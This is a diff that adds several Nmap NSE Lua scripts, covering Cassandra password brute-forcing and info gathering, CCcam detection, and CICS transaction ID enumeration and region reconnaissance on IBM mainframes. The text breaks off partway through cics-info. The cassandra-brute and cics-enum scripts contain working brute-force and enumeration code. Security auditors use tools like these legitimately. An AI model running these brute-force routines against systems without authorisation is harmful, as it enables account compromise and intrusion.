+ if ( response.header.opcode == xdmcp.OpCode.WILLING ) then
+ result[rhost] = true
+ else
+ result[rhost] = false
+ end
+ end
+
+ until( os.time() - start > timeout )
+
+ local output = {}
+ for ip, res in pairs(result) do
+ if ( res ) then
+ table.insert(output, ("%s - Willing"):format(ip))
+ else
+ table.insert(output, ("%s - Unwilling"):format(ip))
+ end
+ end
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/cassandra-brute.nse b/scripts/cassandra-brute.nse
new file mode 100644
index 0000000..8363c65
--- /dev/null
+++ b/scripts/cassandra-brute.nse
@@ -0,0 +1,132 @@
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local cassandra = require "cassandra"
+
+description = [[
+Performs brute force password auditing against the Cassandra database.
+
+For more information about Cassandra, see:
+http://cassandra.apache.org/
+]]
+
+---
+-- @usage
+-- nmap -p 9160 <ip> --script=cassandra-brute
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 9160/tcp open apani1?
+-- | cassandra-brute:
+-- | Accounts
+-- | admin:lover - Valid credentials
+-- | Statistics
+-- |_ Performed 4581 guesses in 1 seconds, average tps: 4581
+--
+
+author = "Vlatko Kosturjak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service({9160}, {"cassandra"})
+
+Driver = {
+
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, socket = brute.new_socket() }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ -- bit faster login function than in cassandra library (no protocol error checks)
+ login = function(self, username, password)
+ local response, magic, size, _
+ local loginstr = cassandra.loginstr (username, password)
+
+ local status, err = self.socket:send(string.pack(">I4", #loginstr))
+ local combo = username..":"..password
+ if ( not(status) ) then
+ local err = brute.Error:new( "couldn't send length:"..combo )
+ err:setAbort( true )
+ return false, err
+ end
+
+ status, err = self.socket:send(loginstr)
+ if ( not(status) ) then
+ local err = brute.Error:new( "couldn't send login packet: "..combo )
+ err:setAbort( true )
+ return false, err
+ end
+
+ local status, response = self.socket:receive_bytes(22)
+ if ( not(status) ) then
+ local err = brute.Error:new( "couldn't receive login reply size: "..combo )
+ err:setAbort( true )
+ return false, err
+ end
+
+ local size = string.unpack(">I4", response, 1)
+
+ magic = string.sub(response,18,22)
+
+ if (magic == cassandra.LOGINSUCC) then
+ stdnse.debug3("Account SUCCESS: "..combo)
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ elseif (magic == cassandra.LOGINFAIL) then
+ stdnse.debug3("Account FAIL: "..combo)
+ return false, brute.Error:new( "Incorrect password" )
+ elseif (magic == cassandra.LOGINACC) then
+ stdnse.debug3("Account VALID, but wrong password: "..combo)
+ return false, brute.Error:new( "Good user, bad password" )
+ else
+ stdnse.debug3("Unrecognized packet for "..combo)
+ stdnse.debug3("packet hex: %s", stdnse.tohex(response) )
+ stdnse.debug3("size packet hex: %s", stdnse.tohex(size) )
+ stdnse.debug3("magic packet hex: %s", stdnse.tohex(magic) )
+ local err = brute.Error:new( response )
+ err:setRetry( true )
+ return false, err
+ end
+ end,
+
+ disconnect = function(self)
+ return self.socket:close()
+ end,
+
+}
+
+local function noAuth(host, port)
+ local socket = nmap.new_socket()
+ local status, result = socket:connect(host, port)
+
+ local stat,err = cassandra.login (socket,"default","")
+ socket:close()
+ if (stat) then
+ return true
+ else
+ return false
+ end
+end
+
+action = function(host, port)
+
+ if ( noAuth(host, port) ) then
+ return "Any username and password would do, 'default' was used to test."
+ end
+
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ local status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/cassandra-info.nse b/scripts/cassandra-info.nse
new file mode 100644
index 0000000..5947218
--- /dev/null
+++ b/scripts/cassandra-info.nse
@@ -0,0 +1,94 @@
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local cassandra = stdnse.silent_require "cassandra"
+
+description = [[
+Attempts to get basic info and server status from a Cassandra database.
+
+For more information about Cassandra, see:
+http://cassandra.apache.org/
+]]
+
+---
+-- @usage
+-- nmap -p 9160 <ip> --script=cassandra-info
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 9160/tcp open cassandra syn-ack
+-- | cassandra-info:
+-- | Cluster name: Test Cluster
+-- |_ Version: 19.10.0
+--
+-- @xmloutput
+-- <elem key="Cluster name">Test Cluster</elem>
+-- <elem key="Version">19.10.0</elem>
+
+-- version 0.1
+-- Created 14/09/2012 - v0.1 - created by Vlatko Kosturjak <kost@linux.hr>
+
+author = "Vlatko Kosturjak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+dependencies = {"cassandra-brute"}
+
+portrule = shortport.port_or_service({9160}, {"cassandra"})
+
+function action(host,port)
+
+ local socket = nmap.new_socket()
+ local cassinc = 2 -- cmd/resp starts at 2
+
+ -- set a reasonable timeout value
+ socket:set_timeout(10000)
+ -- do some exception / cleanup
+ local catch = function()
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+ try( socket:connect(host, port) )
+
+ local results = stdnse.output_table()
+
+ -- ugliness to allow creds.cassandra to work, as the port is not recognized
+ -- as cassandra even when service scan was run, taken from mongodb
+ local ps = port.service
+ port.service = 'cassandra'
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
+ local status, err = cassandra.login(socket, cred.user, cred.pass)
+ results["Using credentials"] = cred.user.."/"..cred.pass
+ if ( not(status) ) then
+ return err
+ end
+ end
+ port.service = ps
+
+ local status, val = cassandra.describe_cluster_name(socket,cassinc)
+ if (not(status)) then
+ return "Error getting cluster name: " .. val
+ end
+ cassinc = cassinc + 1
+ port.version.name ='cassandra'
+ port.version.product='Cassandra'
+ port.version.name_confidence = 10
+ nmap.set_port_version(host,port)
+ results["Cluster name"] = val
+
+ local status, val = cassandra.describe_version(socket,cassinc)
+ if (not(status)) then
+ return "Error getting version: " .. val
+ end
+ cassinc = cassinc + 1
+ port.version.product='Cassandra ('..val..')'
+ nmap.set_port_version(host,port)
+ results["Version"] = val
+
+ return results
+end
diff --git a/scripts/cccam-version.nse b/scripts/cccam-version.nse
new file mode 100644
index 0000000..a7cdaf7
--- /dev/null
+++ b/scripts/cccam-version.nse
@@ -0,0 +1,63 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local formulas = require "formulas"
+
+description = [[
+Detects the CCcam service (software for sharing subscription TV among
+multiple receivers).
+
+The service normally runs on port 12000. It distinguishes
+itself by printing 16 random-looking bytes upon receiving a
+connection.
+
+Because the script attempts to detect "random-looking" bytes, it has a small
+chance of failing to detect the service when the data do not seem random
+enough.]]
+
+categories = {"version"}
+
+author = "David Fifield"
+
+local NUM_TRIALS = 2
+
+local function trial(host, port)
+ local status, data, s
+
+ s = nmap.new_socket()
+ status, data = s:connect(host, port)
+ if not status then
+ return
+ end
+
+ status, data = s:receive_bytes(0)
+ if not status then
+ s:close()
+ return
+ end
+ s:close()
+
+ return data
+end
+
+portrule = shortport.version_port_or_service({10000, 10001, 12000, 12001, 16000, 16001}, "cccam")
+
+function action(host, port)
+ local seen = {}
+
+ -- Try a couple of times to see that the response isn't constant. (But
+ -- more trials also increase the chance that we will reject a legitimate
+ -- cccam service.)
+ for i = 1, NUM_TRIALS do
+ local data
+
+ data = trial(host, port)
+ if not data or seen[data] or #data ~= 16 or not formulas.looksRandom(data) then
+ return
+ end
+ seen[data] = true
+ end
+
+ port.version.name = "cccam"
+ port.version.version = "CCcam DVR card sharing system"
+ nmap.set_port_version(host, port)
+end
diff --git a/scripts/cics-enum.nse b/scripts/cics-enum.nse
new file mode 100644
index 0000000..b0deb65
--- /dev/null
+++ b/scripts/cics-enum.nse
@@ -0,0 +1,430 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local io = require "io"
+local table = require "table"
+local string = require "string"
+local stringaux = require "stringaux"
+
+
+description = [[
+CICS transaction ID enumerator for IBM mainframes.
+This script is based on mainframe_brute by Dominic White
+(https://github.com/sensepost/mainframe_brute). However, this script
+doesn't rely on any third party libraries or tools and instead uses
+the NSE TN3270 library which emulates a TN3270 screen in lua.
+
+CICS only allows for 4 byte transaction IDs, that is the only specific rule
+found for CICS transaction IDs.
+]]
+
+---
+-- @args idlist Path to list of transaction IDs.
+-- Defaults to the list of CICS transactions from IBM.
+-- @args cics-enum.commands Commands in a semi-colon separated list needed
+-- to access CICS. Defaults to <code>CICS</code>.
+-- @args cics-enum.path Folder used to store valid transaction id 'screenshots'
+-- Defaults to <code>None</code> and doesn't store anything.
+-- @args cics-enum.user Username to use for authenticated enumeration
+-- @args cics-enum.pass Password to use for authenticated enumeration
+--
+-- @usage
+-- nmap --script=cics-enum -p 23 <targets>
+--
+-- nmap --script=cics-enum --script-args=idlist=default_cics.txt,
+-- cics-enum.command="exit;logon applid(cics42)",
+-- cics-enum.path="/home/dade/screenshots/",cics-enum.noSSL=true -p 23 <targets>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 23/tcp open tn3270
+-- | cics-enum:
+-- | Accounts:
+-- | CBAM: Valid - CICS Transaction ID
+-- | CETR: Valid - CICS Transaction ID
+-- | CEST: Valid - CICS Transaction ID
+-- | CMSG: Valid - CICS Transaction ID
+-- | CEDA: Valid - CICS Transaction ID
+-- | CEDF: Potentially Valid - CICS Transaction ID
+-- | DSNC: Valid - CICS Transaction ID
+-- |_ Statistics: Performed 31 guesses in 114 seconds, average tps: 0
+--
+-- @changelog
+-- 2015-07-04 - v0.1 - created by Soldier of Fortran
+-- 2015-11-14 - v0.2 - rewrote iterator
+-- 2017-01-22 - v0.3 - added authenticated CICS ID enumeration
+-- 2019-02-01 - v0.4 - Removed TN3270E support (breaks location)
+--
+-- @author Philip Young
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+portrule = shortport.port_or_service({23,992}, "tn3270")
+
+--- Saves the Screen generated by the CICS command to disk
+--
+-- @param filename string containing the name and full path to the file
+-- @param data contains the data
+-- @return status true on success, false on failure
+-- @return err string containing error message if status is false
+local function save_screens( filename, data )
+ local f = io.open( filename, "w")
+ if not f then return false, ("Failed to open file (%s)"):format(filename) end
+ if not(f:write(data)) then return false, ("Failed to write file (%s)"):format(filename) end
+ f:close()
+ return true
+end
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ o.tn3270 = tn3270.Telnet:new()
+ o.tn3270:disable_tn3270e()
+ return o
+ end,
+ connect = function( self )
+ local status, err = self.tn3270:initiate(self.host,self.port)
+ self.tn3270:get_screen_debug(2)
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ return true
+ end,
+ disconnect = function( self )
+ self.tn3270:disconnect()
+ self.tn3270 = nil
+ return true
+ end,
+ login = function (self, user, pass) -- pass is actually the CICS transaction we want to try
+ local commands = self.options['key1']
+ local path = self.options['key2']
+ local cics_user = self.options['user']
+ local cics_pass = self.options['pass']
+ local timeout = 300
+ local max_blank = 1
+ local loop = 1
+ local err, status
+ stdnse.debug(2,"Getting to CICS")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ self.tn3270:send_cursor(run[i])
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ end
+ while self.tn3270:isClear() and max_blank < 7 do
+ stdnse.debug(2, "Screen is not clear for %s. Reading all data with a timeout of %s. Count %s",pass, timeout, max_blank)
+ self.tn3270:get_all_data(timeout)
+ timeout = timeout + 100
+ max_blank = max_blank + 1
+ end
+
+ while not self.tn3270:isClear() and loop < 10 do
+ -- by this point we're at *some* CICS transaction
+ -- so we send F3 to exit it
+ stdnse.debug(2,"Sending: F3")
+ self.tn3270:send_pf(3) -- send F3
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ -- now we want to clear the screen
+ self.tn3270:send_clear()
+ self.tn3270:get_all_data()
+ stdnse.debug(2,"Current CLEARed Screen. Loop: %s", loop )
+ self.tn3270:get_screen_debug(2)
+ loop = loop + 1
+ end
+
+ if loop == 10 then
+ -- something is wrong but we can still try transactions. Print error to debug.
+ stdnse.debug('Error. Failed to get to a blank screen under CICS (sending F3 followed by CLEAR). Try lowering maxthreads to fix.')
+ end
+ -- If username/password provided try to authenticate first
+ if not (cics_user == nil and cics_pass == nil) then -- We're doing authenticated CICS testing now baby!
+ stdnse.debug(2,'Logging in with %s / %s for auth testing', cics_user, cics_pass)
+ self.tn3270:send_cursor('CESN')
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ local fields = self.tn3270:writeable() -- Get the writeable field areas
+ local user_loc = {fields[1][1],cics_user} -- This is the 'UserID:' field
+ local pass_loc = {fields[3][1],cics_pass} -- This is the 'Password:' field ([2] is a group ID)
+ stdnse.debug(2,'Trying CICS: %s : %s', user, pass)
+ self.tn3270:send_locations({user_loc,pass_loc})
+ self.tn3270:get_all_data()
+ stdnse.debug(2,"Screen Received for User ID: %s / %s", user, pass)
+ self.tn3270:get_screen_debug(2)
+ local count = 1
+ while not self.tn3270:find('DFHCE3549') and count < 6 do -- some systems show a message for a bit before we get to CICS again
+ self.tn3270:get_all_data(1000) -- loop for 6 seconds
+ count = count + 1
+ end
+ end
+ self.tn3270:get_screen_debug(2)
+ self.tn3270:send_clear()
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ stdnse.verbose("Trying Transaction ID: %s", pass)
+ self.tn3270:send_cursor(pass)
+ self.tn3270:get_all_data()
+
+ max_blank = 1
+ while self.tn3270:isClear() and max_blank < 7 do
+ stdnse.debug(2, "Screen is not clear for %s. Reading all data with a timeout of %s. Count %s",pass, timeout, max_blank)
+ self.tn3270:get_all_data(timeout)
+ timeout = timeout + 100
+ max_blank = max_blank + 1
+ end
+
+ stdnse.debug(2,"Screen Received for Transaction ID: %s", pass)
+ self.tn3270:get_screen_debug(2)
+ if self.tn3270:find('not recognized') or self.tn3270:find('DFHAC2002') then -- known invalid command
+ stdnse.debug("Invalid CICS Transaction ID: %s", string.upper(pass))
+ return false, brute.Error:new( "Incorrect CICS Transaction ID" )
+ elseif self.tn3270:isClear() then
+ stdnse.debug(2,"Empty Screen when we expect an error.")
+ -- this can mean that the transaction ID was valid
+ -- but it didn't send a screen update so you should check by hand.
+ -- We're not dumping this screen to disk because it's blank.
+ return true, creds.Account:new("CICS ID [blank screen]", string.upper(pass), creds.State.VALID)
+ elseif self.tn3270:find('Unauthorized') or self.tn3270:find('DFHAC2002') then
+ -- this is a VALID cics transaction but you must be authenticated to used it
+ -- This will be the same screen for each so we dont bother saving it either
+ stdnse.verbose("Valid CICS Transaction ID [requires auth]: %s", string.upper(pass))
+ return true, creds.Account:new("CICS ID [requires auth]", string.upper(pass), creds.State.VALID)
+ elseif self.tn3270:find('DFHAC2008') or self.tn3270:find('DFHAC2206') or self.tn3270:find('DFHAC2028') or
+ self.tn3270:find('DFHRT4415') or self.tn3270:find('DFHRT4480') or self.tn3270:find('TSS7254E') then
+ -- these are technically valid CICS transactions
+ -- but they are of little/no value. If verbosity is turned way up we'll return these/save a screenshot
+ -- otherwise there's no point
+ -- DFHAC2008 -- TranID has been Disabled
+ -- DFHAC2206 -- Abend
+ -- DFHRT4415 -- Cannot access through terminal
+ -- DFHRT4480 -- No Longer Supported
+ -- DFHAC2028 -- cannot be used
+ -- TSS7254E -- Access not available through this facility
+ stdnse.verbose("Valid CICS Transaction ID [Abbend or ID Disabled]: %s", string.upper(pass))
+ if nmap.verbosity() > 3 then
+ if path ~= nil then
+ stdnse.verbose(2,"Writting screen to: %s", path..string.upper(pass)..".txt")
+ status, err = save_screens(path..string.upper(pass)..".txt",self.tn3270:get_screen())
+ if not status then
+ stdnse.verbose(2,"Failed writting screen to: %s", path..string.upper(pass)..".txt")
+ end
+ end
+ return true, creds.Account:new("CICS ID [Abbend]", string.upper(pass), creds.State.VALID)
+ else
+ return false, brute.Error:new( "Correct Transaction ID - Access Denied" )
+ end
+ elseif not (cics_user == nil and cics_pass == nil) and
+ (self.tn3270:find('TSS7251E') or self.tn3270:find('DFHAC2033')) then
+ -- We've logged on but we don't have access to this transaction
+ -- TSS7251E : Access Denied to PROGRAM <X>
+ -- DFHAC2033 : You are not authorized to use transaction <X>
+ stdnse.verbose("Valid CICS Transaction ID [Access Denied]: %s", string.upper(pass))
+ if nmap.verbosity() > 3 then
+ return true, creds.Account:new("CICS ID [Access Denied]", string.upper(pass), creds.State.VALID)
+ else
+ return false, brute.Error:new( "Correct Transaction ID - Access Denied" )
+ end
+ else
+ stdnse.verbose("Valid CICS Transaction ID: %s", string.upper(pass))
+ if path ~= nil then
+ stdnse.verbose(2,"Writting screen to: %s", path..string.upper(pass)..".txt")
+ status, err = save_screens(path..string.upper(pass)..".txt",self.tn3270:get_screen())
+ if not status then
+ stdnse.verbose(2,"Failed writting screen to: %s", path..string.upper(pass)..".txt")
+ end
+ end
+ return true, creds.Account:new("CICS ID", string.upper(pass), creds.State.VALID)
+ end
+ return false, brute.Error:new("Something went wrong, we didn't get a proper response")
+ end
+}
+
+--- Tests the target to see if we can even get to CICS
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param user CICS userID
+-- @param pass CICS userID password
+-- @param commands optional script-args of commands to use to get to CICS
+-- @return status true on success, false on failure
+
+local function cics_test( host, port, commands, user, pass )
+ stdnse.debug("Checking for CICS")
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ local status, err = tn:initiate(host,port)
+ local msg = 'Unable to get to CICS'
+ local cics = false -- initially we're not at CICS
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return cics
+ end
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ stdnse.debug("Getting to CICS")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ tn:send_cursor(run[i])
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ end
+ tn:get_all_data()
+ tn:get_screen_debug(2) -- for debug purposes
+ -- we should technically be at CICS. So we send:
+ -- * F3 to exit the CICS program
+ -- * CLEAR (a tn3270 command) to clear the screen.
+ -- (you need to clear before sending a transaction ID)
+ -- * a known default CICS transaction ID with predictable outcome
+ -- (CESF with 'Sign-off is complete.' as the result)
+ -- to confirm that we were in CICS. If so we return true
+ -- otherwise we return false
+ local count = 1
+ while not tn:isClear() and count < 6 do
+ -- some systems will just kick you off others are slow in responding
+ -- this loop continues to try getting out of CICS 6 times. If it can't
+ -- then we probably weren't in CICS to begin with.
+ if tn:find("Signon") then
+ stdnse.debug(2,"Found 'Signon' sending PF3")
+ tn:send_pf(3)
+ tn:get_all_data()
+ end
+ tn:get_all_data()
+ stdnse.debug(2,"Clearing the Screen")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ count = count + 1
+ end
+ if count == 6 then
+ return cics
+ end
+ stdnse.debug(2,"Sending CESF (CICS Default Sign-off)")
+ tn:send_cursor('CESF')
+ tn:get_all_data()
+ if tn:isClear() then
+ tn:get_all_data(1000)
+ end
+ tn:get_screen_debug(2)
+
+ if tn:find('off is complete.') then
+ cics = true
+ end
+
+ if not (user == nil and pass == nil) then -- We're doing authenticated CICS testing now baby!
+ stdnse.verbose(2,'Logging in with %s / %s for auth testing', user, pass)
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ tn:send_cursor('CESN')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ local fields = tn:writeable() -- Get the writeable field areas
+ local user_loc = {fields[1][1],user} -- This is the 'UserID:' field
+ local pass_loc = {fields[3][1],pass} -- This is the 'Password:' field ([2] is a group ID)
+ stdnse.verbose('Trying CICS: %s : %s', user, pass)
+ tn:send_locations({user_loc,pass_loc})
+ tn:get_all_data()
+ stdnse.debug(2,"Screen Received for User ID: %s / %s", user, pass)
+ tn:get_screen_debug(2)
+ count = 1
+ while not tn:find('DFHCE3549') and count < 6 do
+ tn:get_all_data(1000) -- loop for 6 seconds
+ tn:get_screen_debug(2)
+ count = count + 1
+ end
+ if not tn:find('DFHCE3549') then
+ cics = false
+ msg = 'Unable to access CICS with User: '..user..' / Pass: '..pass
+ else
+ tn:send_cursor('CESF')
+ tn:get_all_data()
+ end
+ end
+
+ tn:disconnect()
+ return cics,msg
+end
+
+-- Filter iterator for unpwdb
+-- CICS is limited to 4 characters.
+local valid_cics = function(x)
+ return (string.len(x) <= 4)
+end
+
+function iter(t)
+ local i, val
+ return function()
+ i, val = next(t, i)
+ return val
+ end
+end
+
+action = function(host, port)
+ local cics_id_file = stdnse.get_script_args("idlist")
+ local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') -- Folder for screenshots
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or 'cics'-- VTAM commands/macros to get to CICS
+ local username = stdnse.get_script_args(SCRIPT_NAME .. '.user') or nil
+ local password = stdnse.get_script_args(SCRIPT_NAME .. '.pass') or nil
+ local cics_ids = {"CADP", "CATA", "CATD", "CATR", "CBAM", "CCIN", "CCRL", "CDBC", "CDBD",
+ "CDBF", "CDBI", "CDBM", "CDBN", "CDBO", "CDBQ", "CDBT", "CDFS", "CDST",
+ "CDTS", "CEBR", "CEBT", "CECI", "CECS", "CEDA", "CEDB", "CEDC", "CEDF",
+ "CEDX", "CEGN", "CEHP", "CEHS", "CEKL", "CEMN", "CEMT", "CEOT", "CEPD",
+ "CEPF", "CEPH", "CEPM", "CEPQ", "CEPS", "CEPT", "CESC", "CESD", "CESF",
+ "CESL", "CESN", "CEST", "CETR", "CEX2", "CFCL", "CFCR", "CFOR", "CFQR",
+ "CFQS", "CFTL", "CFTS", "CGRP", "CHLP", "CIDP", "CIEP", "CIND", "CIS1",
+ "CIS4", "CISB", "CISC", "CISD", "CISE", "CISM", "CISP", "CISQ", "CISR",
+ "CISS", "CIST", "CISU", "CISX", "CITS", "CJLR", "CJSA", "CJSL", "CJSR",
+ "CJTR", "CKAM", "CKBC", "CKBM", "CKBP", "CKBR", "CKCN", "CKDL", "CKDP",
+ "CKQC", "CKRS", "CKRT", "CKSD", "CKSQ", "CKTI", "CLDM", "CLQ2", "CLR1",
+ "CLR2", "CLS1", "CLS2", "CLS3", "CLS4", "CMAC", "CMPX", "CMSG", "CMTS",
+ "COVR", "CPCT", "CPIA", "CPIH", "CPIL", "CPIQ", "CPIR", "CPIS", "CPLT",
+ "CPMI", "CPSS", "CQPI", "CQPO", "CQRY", "CRLR", "CRMD", "CRMF", "CRPA",
+ "CRPC", "CRPM", "CRSQ", "CRSR", "CRST", "CRSY", "CRTE", "CRTP", "CRTX",
+ "CSAC", "CSCY", "CSFE", "CSFR", "CSFU", "CSGM", "CSHA", "CSHQ", "CSHR",
+ "CSKP", "CSMI", "CSM1", "CSM2", "CSM3", "CSM5", "CSNC", "CSNE", "CSOL",
+ "CSPG", "CSPK", "CSPP", "CSPQ", "CSPS", "CSQC", "CSRK", "CSRS", "CSSF",
+ "CSSY", "CSTE", "CSTP", "CSXM", "CSZI", "CTIN", "CTSD", "CVMI", "CWBA",
+ "CWBG", "CWTO", "CWWU", "CWXN", "CWXU", "CW2A", "CXCU", "CXRE", "CXRT",
+ "DSNC"} -- Default CICS from https://www-01.ibm.com/support/knowledgecenter/SSGMCP_5.2.0/com.ibm.cics.ts.systemprogramming.doc/topics/dfha726.html
+
+ cics_id_file = ( (cics_id_file and nmap.fetchfile(cics_id_file)) or cics_id_file )
+
+ if cics_id_file then
+ for l in io.lines(cics_id_file) do
+ if not l:match("#!comment:") then
+ table.insert(cics_ids, l)
+ end
+ end
+ end
+ local cicstst,msg = cics_test(host, port, commands, username, password)
+ if cicstst then
+ local title = 'CICS Transaction IDs'
+ if not(username == nil and password == nil) then title = 'CICS Transaction IDs for User: '.. username end
+ local options = { key1 = commands, key2 = path, user = username, pass = password }
+ stdnse.debug("Starting CICS Transaction ID Enumeration")
+ if path ~= nil then stdnse.verbose(2,"Saving Screenshots to: %s", path) end
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ engine:setPasswordIterator(unpwdb.filter_iterator(iter(cics_ids), valid_cics))
+ engine.options.passonly = true
+ engine.options:setTitle(title)
+ local status, result = engine:start()
+ return result
+ else
+ return msg
+ end
+end
diff --git a/scripts/cics-info.nse b/scripts/cics-info.nse
new file mode 100644
index 0000000..44e41c2
--- /dev/null
+++ b/scripts/cics-info.nse
@@ -0,0 +1,409 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local stringaux = require "stringaux"
+local tn3270 = require "tn3270"
+local table = require "table"
+
+
+description = [[
+Using the CICS transaction CEMT, this script attempts to gather information
+about the current CICS transaction server region. It gathers OS information,
+Datasets (files), transactions and user ids. Based on CICSpwn script by
+Ayoub ELAASSAL.
+]]
+
+---
+-- @args cics-info.commands Command used to access cics. Default is <code>cics</code>
+-- @args cics-info.cemt CICS Transaction ID to be used. Default is <code>CEMT</code>
+-- @args cics-info.trans Instead of gathering all transaction IDs supplying a name here
+-- will make the script only look up one transaction ID
+-- @args cics-info.user Username to use if access to CEMT requires authentication
+-- @args cics-info.pass Password to use if access to CEMT requires authentication
+--
+-- @usage
+-- nmap --script=cics-info -p 23 <targets>
+--
+-- nmap --script=cics-info --script-args cics-info.commands='logon applid(coolcics)',
+-- cics-info.user=test,cics-info.pass=test,cics-info.cemt='ZEMT',
+-- cics-info.trans=CICA -p 23 <targets>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 23/tcp open tn3270 IBM Telnet TN3270 (TN3270E)
+-- | cics-info:
+-- | Security: Disabled
+-- | System:
+-- | z/OS Version: 02.01.00
+-- | CICS Version: 05.02.00
+-- | System ID: CICS
+-- | Application ID: CICSFAKE
+-- | Default User: USERCICS
+-- | Datasets:
+-- | CICS.FILEA
+-- | HLQ123.CICS.DFHCSD
+-- | HLQ123.CICS.DFHLRQ
+-- | Libraries:
+-- | HLQ123.CICS.SDFHLOAD
+-- | Users:
+-- | USERCICS
+-- | Transaction / Program:
+-- | AADD / DFH$AALL
+-- | ABRW / DFH$ABRW
+-- | AINQ / DFH$AALL
+-- | AMNU / DFH$AMNU
+-- | AORD / DFH$AREN
+-- | AORQ / DFH$ACOM
+-- | AREP / DFH$AREP
+-- | AUPD / DFH$AALL
+-- | CADP / DFHDPLU
+-- ...
+-- | CEDX / DFHEDFP
+-- | CEGN / DFHCEGN
+-- | CEHP / DFHCHS
+-- | CEHS / DFHCHS
+-- | CEJR / DFHEJITL
+-- | CEMN / DFHCEMNA
+-- | CEMT / DFHEMTP
+-- | CEOT / DFHEOTP
+-- | CXRT / DFHCRT
+-- | DSNC / DFHD2CM1
+
+-- @changelog
+-- 2017-01-30 - v0.1 - created by Soldier of Fortran
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+portrule = shortport.port_or_service({23,992}, "tn3270")
+
+
+
+--- Gathers CICS transaction server information
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param user CICS userID
+-- @param pass CICS userID password
+-- @param commands optional script-args of commands to use to get to CICS
+-- @param cemt transaction ID to use instead of CEMT
+-- @param trans transaction ID to check instead of gathering all
+-- @return Status boolean true if CICS was detected.
+-- @return Table of information or error message
+
+local function cics_info( host, port, commands, user, pass, cemt, trans )
+ stdnse.debug("Checking for CICS")
+ local tn = tn3270.Telnet:new()
+ local status, err = tn:initiate(host,port)
+ local msg = 'Unable to get to CICS'
+ local more = true
+ local count = 1
+ local results = stdnse.output_table()
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false, msg
+ end
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ stdnse.debug("Getting to CICS")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ tn:send_cursor(run[i])
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ end
+ tn:get_all_data()
+ tn:get_screen_debug(2) -- for debug purposes
+ -- we should technically be at CICS. So we send:
+ -- * F3 to exit the CICS program
+ -- * CLEAR (a tn3270 command) to clear the screen.
+ -- (you need to clear before sending a transaction ID)
+ -- * a known default CICS transaction ID with predictable outcome
+ -- (CESF with 'Sign-off is complete.' as the result)
+ -- to confirm that we were in CICS. If so we return true
+ -- otherwise we return false
+ local count = 1
+ while not tn:isClear() and count < 6 do
+ -- some systems will just kick you off others are slow in responding
+ -- this loop continues to try getting out of CESL 6 times. If it can't
+ -- then we probably weren't in CICS to begin with.
+ if tn:find("Signon") then
+ stdnse.debug(2,"Found CESL/CESN 'Signon' sending PF3")
+ tn:send_pf(3)
+ tn:get_all_data()
+ end
+ tn:get_all_data()
+ stdnse.debug(2,"Clearing the Screen")
+ tn:send_clear()
+ tn:get_all_data()
+ tn:get_screen_debug(2)
